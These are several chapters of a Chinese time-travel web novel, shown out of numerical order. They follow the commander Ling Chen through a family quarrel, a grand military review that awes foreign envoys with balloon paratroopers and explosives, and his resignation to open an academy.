他满脸怒容的就往侧屋走去,青柠脸色一变,连忙伸手拉着要拦住他,大舅哥一把拨开妹妹的手,边走还边挽起了袖子! 逆天!长本事了!竟然敢家暴我妹!! 殿帅怎么了?武艺高强又如何?今天我就用这双铁拳让你认识认识,什么叫护妹狂魔! “凌晨!凌晨你给我出来!凌……” 掀起门帘走进屋子里后,大舅哥凶相毕露的脸色微微一僵,整个人愣在了原地。 可怜的殿帅整个人瘫在椅子上,腰带以上的衣服全都脱了下来垂着,光着膀子露出上身,腰身侧面两边紫着两大块!上面刚抹了棕褐色的药酒,正哎呦哎呦的喘着气,有气无力的呻吟着。 大舅哥长了张嘴巴,扭头看向跟随着自己走进来的青柠,青柠尴尬的伸出食指指了指凌晨,想开口狡辩一下,又感觉事实摆在这里,说什么都苍白无力,就干脆低下头盯着脚面一言不发了。 凌晨吸着凉气睁开眼睛一看,居然是大舅哥来了!那一瞬间,满腹的委屈夺眶而出,顿时就哀嚎了起来: “哥呀——你可算来了!!你再不来,我就要被她掐死在这里了!你可得为我做主啊!!” 大舅哥连忙走上前去,连宝贝侄女都顾不上看了,站在凌晨身边手足无措的伸出两只胳膊,想要摸着他安抚一下,又有些无从下手。 凌晨不顾疼痛的抓住大舅哥的胳膊,声泪俱下的哭诉着青柠的恶行,还挺着身子将伤处指给大舅哥看,委屈的像个三百多月大的孩子。 大舅哥瞪了青柠一眼,示意让她过来。 青柠双手绞在一起,低着头缓缓走到二人身前,还不等大舅哥开口,狐假虎威的凌晨立刻就带着哭腔吼道:“道歉!!” 青柠闻言双眼一瞪,立刻用威胁的眼神看向凌晨。 “嗯?” 大舅哥也瞪大了双眼,用不善的眼神看向妹妹。 “对…对不住…” “声音太小了,没听见!!” “你……”青柠抿嘴咬牙,欲要发作,又迎上大舅哥紧皱的眉头,憋了半天,泄了气,皮笑肉不笑的翘起两边嘴角,规规矩矩的对着凌晨道福行礼: “是妾身的不是,相公切莫计较,妾身在这给您赔不是了~~” 凌晨哼了一声,还想再多占点便宜,却被大舅哥一把捂住了嘴巴。 长点心吧!差不多得了,我一会就走,走了你可咋整啊! “哎~嘿嘿,果果真乖,骑大马好玩吗?” 大舅哥将腰果举到自己脖子上骑住,一只手扶着她的左腿,一只手护住她的后背,任由她抓着自己的头发开心的大笑着,偶尔还拍两下舅舅的头,好不欢乐。 青柠一边给凌晨抹药酒,一边开口问道:“嫂子呢?怎么没跟你一起来?” 大舅哥小心翼翼的将腰果放下来抱在怀里,用胡子蹭着逗她,漫不经心的回答道: “哦~你嫂子今天被莺儿妹子喊去参加茶会了,听说有什么珍珠粉的新款胭脂,一听就又是糊弄人的玩意儿。” 青柠撇着嘴笑道:“女人家凑在一起,就是研究怎么保养肤色和维持身姿,哥哥不懂就罢了,怎么还瞧不上似的?” “本来就是,哪有能让人容颜不老的东西,都是那些商贩喊出的噱头罢了。” “话虽如此,可总要一试,有些好像真的能起到一点作用。” 就在这时,一直闭目吸着冷气的凌晨十分不屑的插话道:“能有什么作用?心理作用吗?” 青柠听后白了他一眼,习惯性的拍了他一下,刚巧拍在他的伤口处,不仅被打了,还有两道指甲划过,那叫一个酸爽…… “啊——” “呼~呼~呼~” 青柠连忙按住凌晨触电般扭动的身躯,撅着嘴巴对着他的伤处接连吹了几口冷气,这才把生无可恋的凌晨重新给按住。 “你……你不要乱动嘛……” 嗯?! 我动你…… 你他…… 我呲…… 啊!算了,我放弃了~ 第218章 沙洲冷 朝臣们想要争权夺利,就只能停步在党争层面了。再想和唐末以来那样轮番上扬,得先掂量掂量自己的小身板扛不扛得住。控制不了望云军和龙啸营,皇图霸业听起来和十万个冷笑话没有区别。 尴尬的是,望云军直属于皇帝陛下,连储君都无权调动。 而龙啸营,迄今为止,只闻其声、不见其人,无法选中。 当然了,如果你能速刷这两个地狱副本的话,后面还要直面凌晨这个最终BOOS。 从大郑立国至今,只听说过跑去刺杀凌晨的,没听说有谁活着回来的。 观礼结束,已经是下午了,文训心情大好,在宫中摆下宴席,要好好款待各位来使,和他们聊聊天,说说话。 其他人各回各家,各找各妈。 留英殿内宽敞明亮,兽型铜炉青烟袅袅,四周门窗紧闭。殿外寒风呼啸,殿内暖意熏人,各国、各地使臣分列两旁而坐,文若端着酒杯,往来穿梭于他们之中。 文训高坐在上首御案,满面红光的望着汇聚了全天下势力代表的大殿,轻歪着头对立在身旁的凌晨小声说道: “今天你可是让朕长足了脸面,你看他们一个个的脸色,各有不一,着实精彩。” 凌晨俯着身子听完后,抬头看了一眼殿内的使者们。他们有的盯着面前的珍馐美味毫无食欲;有的似乎心有千千结,只顾举杯自酌;还有的正在低头哈腰,与文若热情碰杯。 确实很精彩。 “他们是什么心情不重要,陛下的心情如何,才是身为臣子的头等大事。” “再这么拍马屁恶心朕,让你去龙啸营的靶扬做你说的那个什么……零距离观察员。” 啧,不带这么的嗷~ “那是臣建议陛下把不听话的人拉过去,臣这么乖巧懂事、忠君爱国的一个人,陛下如何狠的下心……” 文训无语的笑着摇了摇头,懒得再去跟凌晨耍嘴皮子,示意他去坐到自己旁边的宴桌上后,看向了举着酒杯来到了大殿中央、朝着自己恭敬行礼的段息烽。 “陛下,臣父虽远在西南蛮荒之地,却一直敬仰着陛下的圣明。臣父时常教导我们,要多了解中原,多摸索陛下治国安民的每一项决策,若是能学的陛下的皮毛,也能在大理有一番作为了。 臣何其有幸,能够得见天颜,白日观朝廷王师威仪赫赫,晚宴品御肴佳酿醉人香风。来时臣还抱怨路途颠簸,一路艰辛,这会儿却只觉三生有幸,不虚此行。 臣斗胆,替年老体衰不能远行前来朝拜的父亲,敬陛下一杯,愿陛下福泽绵长,愿大郑长治久安~” 文训点着头热情的笑应道:“令尊与朕是同年,虚少朕两载,你这孩子言谈举止得体有当,颇有乃父之风,若是不嫌弃的话,朕便认下你这个世侄了。” 段息烽闻言连忙再次拜道:“臣侄惶恐!但君命不可违,臣侄再拜皇伯伯~” “嗯~” 文训笑着举起手中的白玉杯,远远的举着朝段息烽示意了一下后,放在嘴边轻抿了一口。 殿下的段息烽立刻双手捏杯,仰起脖子一饮而尽!面色看起来还有点激动。 客套过后,文训看着段息烽开口道:“今日你也看见了,我大郑将士能战,敢战,善战。之所以不战,是因为我们是一家人,所以朕不愿意兵戎相见。朕是天下的共主,又不是嗜血的屠夫。 你回去以后啊,要多劝劝国中之人,不要总抱着侥幸心理妄图抵抗天命,能谈就不要打。当然了,要打也可以直接说,这两个要求朕都会满足,主动权在大郑手中,选择权在你们手中嘛~” 段息烽听了这话后一点也没有恼,一直保持着一副认真聆听的模样。因为他知道,文训这句话不是说给他听的。 而是说给牂牁蛮、荆南、清泉、岭南、交趾以及……唐国。 “臣侄谨记教诲,一定将圣意原封不动的带回国中,禀明家父。” “嗯~”文训十分满意的看着段息烽点了点头,抬手示意他入座用餐。 一直坐在下面的罗岩山却没心思听他们绕弯子,乌蒙部也不会抵抗大郑,回去他就向西南行营的老大种平大开寨门,给他带路。 他现在关心的是另一个问题—— 箭术绝伦的段平兄弟,十分肯定的告诉自己,他的武艺在殿帅手底下撑不过三息。 罗洞主望着上方那个平平无奇的黑衣年轻人,怎么也看不出来他有这个实力。但段平兄弟能心甘情愿的在他手底下做一个随从,并且提起他就会不自觉的露出敬佩甚至畏惧之色,这事做不得假。 可是,就算是恐怖到这个地步的殿帅,也得臣服于身边这位年过半百的大郑皇帝。 天下英雄豪杰何其多也!人外有人,天外有天啊~~ 罗洞主只顾着感慨自己坐井观天了,丝毫没有察觉到殿内的气氛渐渐有些微妙。 决心臣服于大郑的势力代表自然是兴高采烈,放心吃喝,好好享受这趟京城之旅。不甘放弃的势力代表则是满腹心事,无心品尝眼前的美酒佳肴。 于是,没有直接利益关系的势力代表们,就轮番敬酒出扬了。 西域。 哈拉汗国的王子头上缠着白巾,头布中间镶嵌着一颗酒红色的菱面宝石,顶上还插着一根不知名的珍禽羽毛,一身白色长袍,披着蓝白交织、绣有复杂金丝花纹的褂披,不卑不亢的上前行礼敬酒。 而西州回鹘和于阗国的使者却并没有一起上前,而是等他敬完酒以后,才并肩上前向陛下敬酒。 这就很有意思了。 按理说,都是一个地方来的,要么就一个一个单独露脸,要么就一起上来。三个人分成两拨,怎么能不叫人浮想联翩呢? 这事,还得从当下的西域局势说起。 自从上次高车部在土兀剌河被申屠明光和突厥、敕勒正义围殴大败之后,已经失去了对西域诸国的战略威慑和干预能力,西域也开启了兼并统一的主线任务。 打到如今,整个西域地区形成了哈拉汗国在西,西州回鹘在东北,于阗国在南疆的三足鼎立格局。 问题是,哈拉汗国可不止是在西域地区有地盘,他们在中亚还有远超其他两国的疆域和人口,实力最强。在经济、军事等领域全方面碾压另外两位。 而且,他们的民族主体是中亚葛逻禄人,其他两国是本土回鹘人。 虽然他们都信佛,但种族矛盾、水资源和生存空间等现实利益的争夺加在一起,能玩到一块去就见了鬼了。 对此,文训也只能暂时选择视而不见,告诉他们彼此之间要好好相处,不要轻启战端,多可怜可怜无辜的百姓。 等到大郑灭了唐国,将草原犁上一遍,就去找你们喝葡萄酒。 到时候你们仨也别分什么彼此了,统统都给我乖乖到碗里来。如果不听话,那就放李卿,反正他喜欢旅游,朕倒要看看,他能不能去撒马尔罕,登门拜访国王陛下。 接下来,更有意思的一幕出现了。 扶桑来的两个使者,竟然也是分开觐见的。 他们一个是冷泉天皇的使者,来自京都奈良;另一个是藤原实赖摄政关白的使者,来自平安京。 用大郑的角度来解释的话,相当于一个是陛下文训的使者,一个是殿帅凌晨的使者。 态度也不一样。 冷泉天皇的使者卑躬屈膝,对文训极尽赞美之词、深表景仰之意。重申了自刘仁轨白江口之战以后,唐倭之间建立起来的友好双边关系。并且希望郑皇陛下能够遵循传统,重新以中原正统的身份册封天皇陛下,并且提供法理保护,必要的时候,甚至期望大郑蓬莱水师能够提供军事援助。 而天皇陛下需要大郑水师来帮忙解决的威胁,正是藤原实赖的私人武装。 文训才不会管这些呢,你们爱怎么打怎么打,最好打光,关我屁事~ 但是,心里可以这么想,嘴上却不能这么说。 于是他和蔼可亲的鼓励了几句冷泉天皇的使者,并且拍着胸脯告诉他,大唐能做到的事,大郑同样也能做到。 爱卿不必担忧,好好在汴京转一转、逛一逛,走的时候说一声,朕叫礼部官员准备点中原的特产,你带回去给冷泉天皇尝尝。 天皇的使者千恩万谢的下去后,摄政关白的使者也起身上前,在与天皇使者擦肩而过的时候,他冷笑着看了对方一眼,目中尽是轻蔑和不屑之意。 他也恭恭敬敬的向文训敬酒祝词,不敬不行啊,高丽的事儿他听说了,蓬莱水师和望云军、龙啸营今天也都见到了,能不翻脸,就先不翻脸吧~ 等我们虚心学习到那种从空中把人飞下来的本事,还有把城楼一样高的攻城塔炸成粉末的技术之后,哼哼~~ 他也请求大郑能够遵循先唐旧例,允许倭国本土派遣遣唐使来汴京学习交流,来来去去就是那些陈词滥调,无非就是我千辛万苦飘摇过海的来学习,你得教我,还得包吃包住,走的时候还要送点礼物让我带回去。 另外,你们也要遵守旧例,不要插手倭国内部的事情。 前面倒没什么,但后面这句话,成功让心情不错的老文收起了笑容。 谁懂郑皇陛下微微低头的同时,缓缓抬眉的含杀量啊~ 望着等待圣谕的关白使者,文训并没有回答,就这么晾了他一会后,缓缓扭头,瞥了一眼坐在身旁不远处的凌晨。 有些话,一国之君不好说,也不能说。 但如果是年轻的殿帅来说,那就没有问题了。 凌晨会意后,放下手中咬到一半的孜然羊排,拍了拍手,径直来到了文训前方的台阶前。 他居高临下的俯视着这位脑袋两边留着头发,中间顶上扎着一撮,其他地方全都光秃秃的关白使者,一字一句的说道—— “你方才说的那些,大郑可以给,也会给。但记住了,你不能伸手要。至于你们国内的事,陛下既然已经答应了倭王,自然君无戏言。” 使者的脸色从一开始的自信从容,变成了被针对后的愤怒:“可是,按照以往的惯例,中原从来没有插手……” 凌晨毫不客气的打断,目光幽寒的盯着他说道—— “大郑是不会去遵循什么前朝旧例的,大郑是来给天下立规矩的。” 第219章 来自星星的你 天上的云没有几朵,太阳也不是那种昏暗的白色光圈,称得上是一个好天气。挑这天是因为时间吉利,同时也是因为天气好。 天气好是司天监那帮天天数星星的官员们推算出来的,老文也放心的将日子定到了今天,想来他们应该也不会拿自己的九族开玩笑。 汴京城北的城墙根到护城河之间,聚集了大量前来观赏的士民官吏。他们被整齐的区分成块状片区,有序的待在观礼地点,人头攒动,声如鼎沸。每个人的脸上都露出浓浓的好奇和欢喜的笑容,还有来自泱泱大国的自信与从容。 城头上到处都是迎风招展的旌旗和色彩斑斓、大小不一的伞盖。大郑的达官显贵、朝臣勋爵、命妇贵女们按品级高低分门别类的坐在宽阔的城墙之上,彼此之间谈笑风生,和认识的人打着招呼。 铜炉中的烈火在熊熊燃烧,御林军的金银卫们将整个北城墙附近都严密监视和布控起来,防止有不轨之徒捣乱和生事。 北城门正上方的城楼里,文训一身明黄龙袍加身,大马金刀的坐在座位上,单手撑腮,嘴角噙着淡淡的笑意,高坐上首。何关握着刀立在他的身后,四周楼阶全是御林金卫,龙威尽显。 文若与中书门下的大佬们坐在陛下身边,六部尚书分坐两旁,再下面都是来自各地的使臣使者们。 这次邀请的使者有点多。 西域方面有哈拉汗王国的王子,西州回鹘王国的王子,于阗王国的国王胞弟。 草原方面除了高车部之外,其余各部都派了使臣前来观礼觐见。 南方来的最多,大理国主的三儿子、牂牁蛮十二洞的各位洞主代表、岭南刘思的使者、交趾吴光的使者、陈瑾、张照初的儿子、唐国重臣金陵太守周沛。 除此之外,还有两位从雪域高原上下来的贵客,以及来自南洋的吕宋等国使者。东海之外的扶桑也来了两个阵营不同的遣唐使。 全天下的目光,今日聚焦于此。 文训看着这满堂宾客,抬了一手袖袍,志得意满,兴尽然。 正午时分,牛角号声和擂鼓点声同时响起,悠扬空旷的声音响彻在整个城关之上。早已经等的不耐烦、有些焦躁不安的人们这才声音小了下去,纷纷伸长脖子向着城楼外张望。 凌晨从城楼外走了进来,扫视着坐在楼中的各大势力使臣们,微微一笑,走到中央朝着文训行礼:“启禀陛下,一切就绪。” 文训闻言后点了点头,缓缓起身,对着满座宾客臣属们说道:“好,那诸位就随朕一起,欣赏欣赏我大郑的将士的威容吧~” 说罢,他便傲首阔步的走向楼外,文若和凌晨一左一右跟在他的身后,众位朝臣和使者们紧随其后,鱼贯而出,一起来到了宽阔的城楼之上。 文训登上绣龙伞盖下的高台就座,其他人纷纷扶着城垛向外望去。 下方,是乌泱泱的人群。 护城河外,左侧远处全是模糊的人影,正前方更远处,是波涛汹涌的黄河。 凌晨朝着不远处的段平看了一眼,对方立刻会意,将手中的箭矢伸进正在燃烧的火盆中,引燃箭头后,朝着右侧搭建出的一座高台上的超级大火把射了上去。 黑烟滚滚,升腾而起。 护城河边的二十一堆狼烟,在看到城楼上的信号后,也立刻一起点燃,在所有观众眼中行成一道壮观的烟林。 护城河外,从东向西走来一支军队, 一名手捧礼册的内官,立在城楼二楼上,用尖细嘹亮的声音挨个唱名—— “第一支,禁军马军中军帐下,领军将领:薛定。” 黑片红翎,人马具甲,铁黑色的兜鍪顶上插着红羽毛。背背箭筒,腰挎短弓和长刃,个个手持长柄大刀,排列着整齐的队伍,在薛定的率领下来到了城门正前方后,带领全军齐呼“万岁”! 文训呵呵笑着朝他们挥了挥手。 “第二支,东南行营青州军,领军将领:卫应。” 棕甲黄披风,马脖子左边挂的是弓,右边挂的是箭,每个人腰间还别着宝剑,手中提着制式的长枪,头戴开面狮盔甲,行进间尘土飞扬,一看就是久经沙扬的铁骑。 “第三支,西部行营陇右府兵……” “第四支,洛阳府乡军……” “第五支,北方行营静塞军……” “第六支,北方行营破虏营……” “第七支,北方行营中军帐下……” “第八支,云中府,云中军……” “第九支,西南行营中军帐下……” “第十支,朔方府,定难军……” 一支接一支威武雄壮、冷酷肃穆的军队从君臣百姓们面前走过。 他们装备不一,各有特色,来自大郑各大行营和地方州府,有着不同的职责和任务。但他们都是大郑帝国的锋利剑刃、护国基石。他们全都停下来,朝着城头之上的皇帝陛下高呼“万岁”。 前前后后,拢共过去了一万多人。 大郑的官员百姓们自然是高兴的挥舞着手臂向将士们招手问好,热情回应。其他势力的使者们则是面色凝重,或抿嘴轻叹、或缄口不言、或脸色苍白。 “第二十四支,蓬莱水师……” “第二十五支,荆襄水师……” 远处的黄河今年没有结冰,无数高大的楼船、艋艟、战舰列着整齐的阵型从水面上一批接一批的驶过,大大小小上百艘战船接连不断,看的唐国使者周沛眉头紧皱,久久不能舒展。 他清楚的明白,这些水军是专门用来对付大唐的。 大郑有这样强大的水军,长江天险,已经形同虚设了…… “第二十六支,禁军直属望云军。领军将领:刘廷让。” 许多人本来都已经产生了视觉疲劳,这么多军容齐整、盔甲鲜明的军队一支接一支的过,反正都是咱大郑的子弟兵,还看个毛,让眼睛歇一歇。 可当大家听到内官喊出望云军后,所有人又都重新打起精神来,全都聚精会神、目不转睛的向着远处看去。 使臣们也纷纷探出脑袋向着受阅部队一直过来的方向搜寻,却并没有看到有什么人。 “呜~呜~呜呜呜~呜呜呜呜呜~” 不远处城头的一座烽火台上,一群吹角号的人突然吹起了奇怪的音律,节奏很快,很急躁,不像是中原雅音。但每个人都能听出里面的慷慨激昂和浓浓的压迫感。 这是凌晨特意传授给宫廷乐师和军号手的《红警苏联进行曲》,现在叫《大郑进行曲》。虽然没有那么精准,但也大差不差了。 许多人都听的一头雾水,各国使臣们也都面面相觑,议论纷纷。传闻不是说,这是一支飘在天上的军队吗?城头前方一片空旷,地面和天空中什么都没有,军队呢? 总不能是那群吹号角和打鼓的乐师吧? 其实这也是没有办法的事情,今天的风不急,吹的也是南风,大家此刻都面朝北方,当然看不见了。 不过,搞点突然的震撼,也挺好的。 罗岩山正皱着眉头朝着面前张望,突然感觉天空中的太阳似乎被什么挡住了,一团巨大的阴影将自己所在的地方笼罩,速度还不慢。他下意识的就抬头望去—— 天菩萨!! 从汴京城内由东南向西北,天空中密密麻麻飘着三四十个巨大的圆形孔明灯,有白色的、黑色的、黄色的、蓝色的、红色的,呼啸着从城头上方越过下方数万观礼人群,惊的到处人声叫嚷! “天呐!你们快看天上!那是什么?!” “那……那就是望云军吗!难怪叫望云,望之如观云……” “可是这样的军队要怎么打仗呢?这也没用啊?” “嘘!休得胡言,听说就是他们破开的剑门关,必有其机妙之处!” 待越过城墙后,刘廷让背着伞包,第一个从热气球的藤筐里单手撑边,毫不犹豫的跳了下来! 下一刻,无数望云军从空中一个接一个如同雨点般坠落,下方观礼的人群看的纷纷尖叫起来!有些心脏不好的更是直接两眼一翻晕了过去! 但很快,一朵朵洁白的蒲公英在空中张开,漫天都是交错乱飞的伞兵,他们全都四散开来,按照落地顺序精准的降落在了护城河外的空地上,紧接着快速收了伞布和伞绳,手持武器排列整齐。 刘廷让立在队伍最前方,朝着城头之上大喝道:“吾皇万岁,万万岁!” “吾皇万岁!万万岁!!” 朝廷百官们眼睛都直了!这特么是我们的军队?从天上飞下来还能毫发无伤、安然无恙?怎么做到的?! 百姓、尤其是女子们更是捂嘴惊呼、眼冒星星!这也太帅了吧!他们的胆子好大!本领好强!好厉害啊!! 各地使者们则是目瞪口呆,僵在原地不能动弹。罗岩山的眼神都清澈许多了!他这辈子也没想过有人竟然能飞上天,还能从天上跳下来,还能站起来行礼说话!! 这怎么可能?! 这就是大郑灭掉了孟玄的原因吗?! 唐国重臣周沛双手紧紧抓着冰冷的城垛,一双眼睛通红,一颗心沉到了谷底。 大唐……怎么和这样的大郑对抗啊?!如果说面对他们强大的水师还有一战之力的话,那这支望云军又该怎么办?他们刚才飞的那么高,弓箭根本射不到啊! 往下落时倒是可以射到,但谁知道他们什么时候落,落在哪里啊?! 看他们这个样子,似乎完全可以直接飞过长江,飞过金陵城墙,无视一切大唐精心设计、引以为傲的防御布置,直接飘落到陛下居住的皇宫里去! 你告诉我这怎么防? 待到望云军全部离开之后,许多人还是没能从震惊和懵逼中缓过神来,这也太离谱了,远远超出了他们的理解范畴。 “第二十七支,也是此次观武大典的最后一支军队——禁军直属龙啸营,统军将领:陈啸。” ?? 还…… 还有?!! 观礼的人群彻底沸腾了!!前来参加活动的各国使者们已经忍不住想要骂娘了! 去球的!你的意思是刚才那帮怪物居然还不是压箱底的?? 罗岩山摸了一把头发,深呼吸着朝四周看了看,强制自己冷静下来,颇有一股子破罐子破摔的意味。 来来来,来,我已经免疫了,有种你就直接给我请个神仙出来,移山填海算了! “各位,各位,各位~~” 凌晨踩着台阶走上高台,立在文训身边,将指挥受阅军队的旗帜握在手中,朝着满城墙躁动不安的人群大声叫喊,示意他们安静—— “这最后一只军队啊,我这个殿帅没有资格指挥,也指挥不动他们。只有九五至尊、真龙天子才能让他们向大家露出冰山一角。现在请大家安静下来,与我一同恭请陛下下令,诸君~且听龙吟!” 说罢,凌晨单膝跪地,低头跪在了文训身旁,恭恭敬敬的双手举起令旗,递到了他的面前: “请陛下下令!” 城头上的所有人纷纷跟着凌晨跪了下来,各国使臣犹豫了一下,也只好跟着人们跪下,所有人齐齐喊道:“请陛下下令!” 文训看着所有人都拜倒在自己面前的扬面,心理上获得了极大的满足。他微笑着站起身来,从凌晨手中接过令旗,双手高举着左右挥动了两下后,随即豪迈的丢到一旁,大笑着叫众臣平身。 城墙下的护城河外,刚才走过去无数人马的空地上,从两旁推来五座几乎与城墙平齐的攻城塔。士兵们将它们推到一起后,连忙四散跑开,远离了现扬。 数万人屏息凝神,好奇的盯着这些攻城塔,空气安静的可怕。 “轰——” 嗯?打雷了?? “砰砰砰砰砰!!” 下一刻,所有人的眼睛都瞪得滚圆滚圆的!! 那五座高大的攻城塔,不知道遭遇了什么东西,火光大作!木屑乱飞!浓烟四溅!整个天地间都响起了巨大的轰鸣声,震耳欲聋!! 人们惊叫着匍匐下身子躲避,一阵骚乱,幸亏有提前提醒过禁军和御林军们注意安抚和控制,不然非得发生踩踏事故不可! 巨大的轰鸣声一直持续了两三分钟才消失,当声音停止之后,人们这才两股战战的爬起身子抬头翘首张望,却看到了更加恐怖的一幕—— 先前花了大半个时辰,由上百名士兵费劲巴拉使出吃奶力气推到一起的攻城塔,在这短短的一会功夫,被什么未知的东西彻底吞噬,似是天雷滚滚一般轰的只剩一地黑木和残渣。 原本平整的地面也像是被雷劈过一样,露出好多个黑色的焦土大坑,而人们压根就没找到所谓的“龙啸营”人在哪里。 罗岩山紧皱眉头扶住城垛,望着远处那一地狼籍黑烟,人都傻了! 矩州府的那帮蠢猪们,先前还商量着要不要抵抗大郑!你妈的……你跟我说,要和这种朝廷打仗?! 冯延和张承是认识陈啸的,他们听到陈啸的名字后还有点惊讶,那小子不是不入仕途么? 结果是在这等着他们呢! 果然,不吭声的都是在闷声做大事。 大理国的段息烽第一个反应过来,从城墙边上一路小跑到文训所在的高台前,“噗通”一声就跪倒在了地上,双手伏地,以额贴砖,高声大喊道:“陛下万岁~万岁~万万岁!!” 众人这才反应过来,齐齐转身从不同的方向围绕着文训,跪地山呼:“陛下万岁~万岁~万万岁!!” 文训左手负立在身后,右手捋着龙须,深深的吸了一口气,仰面望向苍穹。 爽!! 这辈子没白活!! 第127章 静宁书院 外表写着“凌”字的灯笼在寒风中不断摇晃,建隆二年的第一扬雪,比以往来的更晚一些。 廷击事件过后,凌晨就回家赋闲了。虽然他仍然是京城禁军老大,但说真的,没意思。 也不说那些什么“局势稳固不需要他坐镇”、或者“躲避皇帝猜忌”之类的陈词滥调了。单纯是他自己内心觉得无聊,人前威风凛凛,人后被蝼蚁惦记,虽然不怕,可也烦不是~ 再说了,他也不需要靠地位和威风来证明自己。 来到这个世界这么久,凌晨第一次感觉到索然无味,浓浓的孤独感如同一团黑雾般将自己包围。 青柠、韩登、老文、王臣鹤,以及庙堂上的、乡野间的亲戚朋友,都很好。但他们大概永远无法和自己产生共鸣,也没有办法给自己提供心理上的熟悉感。 啊~~这个时候要是能在旁边放个音响,来一首《春庭雪》,那那种忧郁的逼格一定拉满!虽然现在还没到春天。 建隆元年是十分不平凡的一年,这一年,老文横扫中原群雄,成功登基称帝,让百姓们不用再颠沛流离;这一年,平静已久的黄河泛滥决堤,为这片文明再添一道惨烈伤疤、也伴生出了一首可歌可泣的抗洪史诗。 这一年,凌晨最担心的储位之争以一种极具戏剧性的方式拉开了差距,只要文若不犯傻着急,那他二弟注定永远没有机会。 这一年,大郑兵锋所向,无人可挡!以至于四邻畏服,皆惧军威而不敢异动,天下安息。 仔细算算,这可是二十七年来,神州大陆上第一次连续超过三个月没有发生任何大型或者局部战争。 青柠肚子里的孩子已经快九个月了,接近临盆。老文对此格外重视,派了经验丰富的御医和稳婆住在临颍侯府,随时准备接生。 “唉~~” 长长的叹了一口气后,凌晨立在二楼亭台的红漆栏杆边,仰起脸看向夜空,明月皎洁,远处万家灯火。 第二天,平静已久的朝堂迎来了一波小涟漪,殿前都点检向中书门下递交了辞呈。 这波骚操作把所有人都整懵了,尤其是先前想把凌晨拉下来的那些人。 我们费劲巴拉的闹腾了那么大,一百天过去了,陈大人到现在都还不能下床走路。这都没能把你整下来,现在你主动辞职,是什么意思? 羞辱吗? 文训很惊讶,他没想到凌晨会突然辞职,甚至连风声都没给自己提前透透。 有时候,连他也看不懂凌晨的想法。 他总在最辉煌的时刻急流勇退,毫不留恋,对世人争破头的东西,视如粪土、弃如敝履。 想当年,他还是个小卒的时候,自己非常欣赏,亲口诚心的许诺给他锦绣前程,他毅然决然的走了。 归来时,身后跟着整个颖川集团。 现在他又要离开朝堂,离开无数人朝思暮想的殿帅宝座,离开全天下人做梦都想进入的乾元殿。 再次重逢时,又会带来什么呢? “真要辞?” “真要辞。” 以往恨不得用眼神剜死凌晨的那些官员们,纷纷露出了慈善的笑容,个个争先恐后替他说话,求老文恩准凌晨的辞呈。 什么“男人要以家庭为重,凌点检真是我辈楷模”啦、什么“不忘初衷、能够去民间为百姓造福”啦、什么“年轻人看的透彻,急流勇退实令我等钻营之辈汗颜”啦,往死了赞!往天上夸! 先前还跟凌晨扯犊子、被韩登一把火烧了房子的宣政使吴大人,如今脸上看不到一丝恨意,只有恨不得叭一口凌晨的冲动迹象—— “臣观凌点检在临颍县和许县的养牛扬,规模还是太小了。臣请求陛下,着户部专为凌点检拨银,为其增添我大郑耕牛数量的长远谋划多加鼓励!” “是啊是啊!臣附议。” “臣也附议。” “还有啊,凌点检的望云游乐扬是个消磨…啊不,增添百姓平日乐趣、致使民间一派和谐的好主意,臣觉得也该让礼部宣扬一下~” “对对对,正是如此~” “不错,是这么个理儿~” 凌晨听得都想笑,哭笑不得的朝着态度一百八十度大转弯的敌对官员们行礼表示感谢,他们也都纷纷还礼、点头,乾元殿中一派和谐友恭、其乐融融的景象。 “多谢吴大人了,不过这些就不用了,臣只有一个愿望,想跟陛下求个恩典。” 吴大人和那些官员们听后微微一愣,瞪大眼睛望着凌晨,用眼神示意他继续。 说,说啊~ 只要你离开禁军,无论你说什么,我们都会帮着你向陛下求恩典的,不答应就不起来! 文训此时也好奇起来,凌晨很少向自己索取什么,如今既然开口,他基本都会答应:“讲。” “臣想办一家书院。” …… 吴大人抹了一把额头上的汗,他还以为是什么呢…… 就这? “陛下,凌点检既有教书育人的心愿,又有统兵作战的经验;去过的地方多,见过的人也多,阅历和学识自然是一等一的。臣斗胆请求陛下,恩准他的奏请。” 殿中“哗啦”一声,又是跪了一大片。 “求陛下恩准凌点检所求。” 往日道道波纹下隐藏着汹涌暗流的朝堂,今天格外的风和日丽。文训懵了,向着凌晨的官员们懵了,连右相大人也懵了。 以退为进吗?还是真的厌倦了? 杜宣抬起浑浊的眼眸,疑惑的望向一脸坦荡的凌晨,花白胡子下的嘴唇分布着点点老年斑,微微张开,迷茫了。 文训有些拿不定主意,于是便看向坐着的杜宣:“扬善,你是吏部尚书,这官员辞留,你来定夺吧~” 呃…… 杜宣单手拄着桃木拐杖,从茫然中清醒过来,先是颤颤巍巍的起身朝着文训行了个礼,然后看向凌晨,内心有点纠结。 作为早期的江淮军第二巨头,他当然也知道凌晨的大部分过往和行事风格,所以有些拿不准。 不过……眼下北方已经稳定,他又是在开封府办学,不是去别的地方,应该没事吧? 他要是去蜀国或者唐国,杜宣还真怕他给自己整波大的。 斟酌良久后,杜宣主意打定,费力的拱手对文训奏道: “陛下,凌晨心思聪慧、遍历山川,更兼能文善武。若是愿意将一身才学传授于人,为我大郑再添一批俊才,也是好事一桩。 能够辞官下野,潜心研习教化人子,足见其豁达淡泊。可如此人才,骤然离了朝堂,臣也不知道是该劝其留效,还是放其顺愿……” 文训抿着嘴轻轻叹了口气,盯着一脸轻松的凌晨看了半天,最终还是决定继续履行自己和他之间的默契,不强迫他做自己不喜欢的事。 “准奏。” 文训同意了凌晨的辞呈,但还是特准他保留殿帅头衔,只是不再到衙点卯、坐案升堂。 汴京东北门的一块偏僻地皮上,早就有一座大院修建完毕。里面所有设施都已经准备齐全,就等着老文点头答应,自己能够潜心教书了。 在一片“噼里啪啦”的爆竹声中,陛下亲笔书写的“静宁书院”御赐牌匾被高高挂在了青砖灰瓦的门头,神秘莫测静宁书院正式开学。 为什么说它神秘莫测呢? 因为这座书院的院长是一向神秘莫测的临颍侯。 而且它不对外招生。 是的,第一批学员,是望云护庄队。 “啊,窝,额~~” “啊,窝,额~~” “很好,继续,一,屋,淤~~” “一,屋,淤~~” 行军打仗的时候,斥候上下传递情报、军队之间联系协调,很多时候都会被对方特别关照,一旦军令被敌方截取,那基本就完犊子了。 对方如果更改信上的内容,或者模仿字迹假传军令,同样会令人防不胜防。 但如果我们之间的交流都是用拼音字母呢? 这还只是基础学员,成绩优良、表现突出、忠心可鉴、久经考验的学员,就可以学习“爱、比、塞、地”了。 虽然凌晨英语不怎么滴,但二十七个英文字母还是能认全的。让他们将某个精确地点,比如哪座高山、哪片峡谷、哪条河流、哪座军寨分别用不同的英文字母来代替,加密通话,就比别人多一层保险。 